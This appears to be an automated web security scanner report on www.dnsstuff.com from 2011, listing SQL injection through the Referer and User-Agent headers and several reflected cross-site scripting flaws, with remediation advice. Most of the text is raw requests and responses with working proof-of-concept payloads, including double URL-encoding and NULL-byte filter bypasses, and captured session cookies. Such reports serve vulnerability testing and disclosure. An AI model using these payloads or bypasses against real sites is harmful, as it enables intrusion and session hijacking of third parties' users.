XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.dnsstuff.com

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://www.dnsstuff.com/l/ [Referer HTTP header] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/l/

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /l/?partner=dyn HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q='
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.2.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=3b487ce412fcff47f2bec18ba8a3b5dc; ID=f3d6c1ad003861

Response 1

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:03:10 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 245
Content-Type: text/html; charset=utf-8

BAD CANT QUERY1064You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namo' at line 16

Request 2

GET /l/?partner=dyn HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=''
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.2.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=3b487ce412fcff47f2bec18ba8a3b5dc; ID=f3d6c1ad003861

Response 2

HTTP/1.1 302 Found
Date: Mon, 18 Jul 2011 02:03:11 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.dnsstuff.com/partner/dyn/
Vary: Accept-Encoding
Content-Length: 1
Content-Type: text/html; charset=utf-8

1.2. http://www.dnsstuff.com/l/ [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/l/

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /l/?partner=dyn HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.2.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=3b487ce412fcff47f2bec18ba8a3b5dc; ID=f3d6c1ad003861

Response 1

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:03:07 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 218
Content-Type: text/html; charset=utf-8

BAD CANT QUERY1064You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'salmon.dnsstuff.com',
'dyn'
)' at line 17

Request 2

GET /l/?partner=dyn HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13''
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.2.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=3b487ce412fcff47f2bec18ba8a3b5dc; ID=f3d6c1ad003861

Response 2

HTTP/1.1 302 Found
Date: Mon, 18 Jul 2011 02:03:08 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.dnsstuff.com/partner/dyn/
Vary: Accept-Encoding
Content-Length: 1
Content-Type: text/html; charset=utf-8

2. Cross-site scripting (reflected) previous next
There are 8 instances of this issue:

/tools/ipall/ [ip parameter]
/tools/ipall/ [name of an arbitrarily supplied request parameter]
/tools/ipall/ [token parameter]
/tools/ipall/ [tool_id parameter]
/tools/ipall/ [toolhandler_redirect parameter]
/tools/ipall/a [name of an arbitrarily supplied request parameter]
/tools/ipall/a [name of an arbitrarily supplied request parameter]
/tools/ipall/a/ [name of an arbitrarily supplied request parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://www.dnsstuff.com/tools/ipall/ [ip parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The value of the ip request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c187f"><img%20src%3da%20onerror%3dalert(1)>deb3acbb8a6 was submitted in the ip parameter. This input was echoed as c187f\"><img src=a onerror=alert(1)>deb3acbb8a6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84c187f"><img%20src%3da%20onerror%3dalert(1)>deb3acbb8a6 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.1.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:04:46 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:04:47 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 14129
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84c187f\"><img src=a onerror=alert(1)>deb3acbb8a6"=>=<img_src=a onerror=alert(1)>deb3acbb8a6=">
...[SNIP]...

2.2. http://www.dnsstuff.com/tools/ipall/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cf0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e11b31e10794 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1cf0b\"><script>alert(1)</script>11b31e10794 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84&1cf0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e11b31e10794=1 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.1.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:06:13 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:06:13 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 14122
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84&1cf0b%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e11b31e10794=1&1cf0b\"><script>alert(1)</script>11b31e10794=1">
...[SNIP]...

2.3. http://www.dnsstuff.com/tools/ipall/ [token parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The value of the token request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b50eb"><img%20src%3da%20onerror%3dalert(1)>c9e633bed88 was submitted in the token parameter. This input was echoed as b50eb\"><img src=a onerror=alert(1)>c9e633bed88 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /tools/ipall/?tool_id=67&token=b50eb"><img%20src%3da%20onerror%3dalert(1)>c9e633bed88&toolhandler_redirect=0&ip=209.235.10.84 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.1.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:03:54 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:03:54 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 14033
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?tool_id=67&token=b50eb\"><img src=a onerror=alert(1)>c9e633bed88&toolhandler_redirect=0&ip=209.235.10.84"=>=<img_src=a onerror=alert(1)>c9e633bed88=">
...[SNIP]...

2.4. http://www.dnsstuff.com/tools/ipall/ [tool_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The value of the tool_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dca4b"><img%20src%3da%20onerror%3dalert(1)>cbe6d23089b was submitted in the tool_id parameter. This input was echoed as dca4b\"><img src=a onerror=alert(1)>cbe6d23089b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /tools/ipall/?tool_id=67dca4b"><img%20src%3da%20onerror%3dalert(1)>cbe6d23089b&token=&toolhandler_redirect=0&ip=209.235.10.84 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.1.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:03:25 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:03:26 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 14033
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?tool_id=67dca4b\"><img src=a onerror=alert(1)>cbe6d23089b&token=&toolhandler_redirect=0&ip=209.235.10.84"=>=<img_src=a onerror=alert(1)>cbe6d23089b=">
...[SNIP]...

2.5. http://www.dnsstuff.com/tools/ipall/ [toolhandler_redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The value of the toolhandler_redirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8abba"><img%20src%3da%20onerror%3dalert(1)>d7e87e019ab was submitted in the toolhandler_redirect parameter. This input was echoed as 8abba\"><img src=a onerror=alert(1)>d7e87e019ab in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /tools/ipall/?tool_id=67&token=&toolhandler_redirect=08abba"><img%20src%3da%20onerror%3dalert(1)>d7e87e019ab&ip=209.235.10.84 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.1.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:04:18 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:04:18 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 14033
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?tool_id=67&token=&toolhandler_redirect=08abba\"><img src=a onerror=alert(1)>d7e87e019ab&ip=209.235.10.84"=>=<img_src=a onerror=alert(1)>d7e87e019ab=">
...[SNIP]...

2.6. http://www.dnsstuff.com/tools/ipall/a [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/a

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %006db6b"><a>5598c7bc19e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6db6b\"><a>5598c7bc19e in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /tools/ipall/a?%006db6b"><a>5598c7bc19e=1 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67dca4b%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Ecbe6d23089b&token=&toolhandler_redirect=0&ip=209.235.10.84
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.3.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=629fad8433489d10f91fe22b85337a2c; ID=f3d6c1ad003861

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:10:13 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:10:14 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13835
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?%006db6b\"><a>5598c7bc19e=1"=>=<a=>5598c7bc19e=1">
...[SNIP]...

2.7. http://www.dnsstuff.com/tools/ipall/a [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/a

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4826"><a>ccab849f7e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c4826\"><a>ccab849f7e2 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /tools/ipall/a?c4826"><a>ccab849f7e2=1 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67&token=&toolhandler_redirect=08abba"><img%20src%3da%20onerror%3dalert(1)>d7e87e019ab&ip=209.235.10.84
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.dnsstuff.com
Proxy-Connection: Keep-Alive
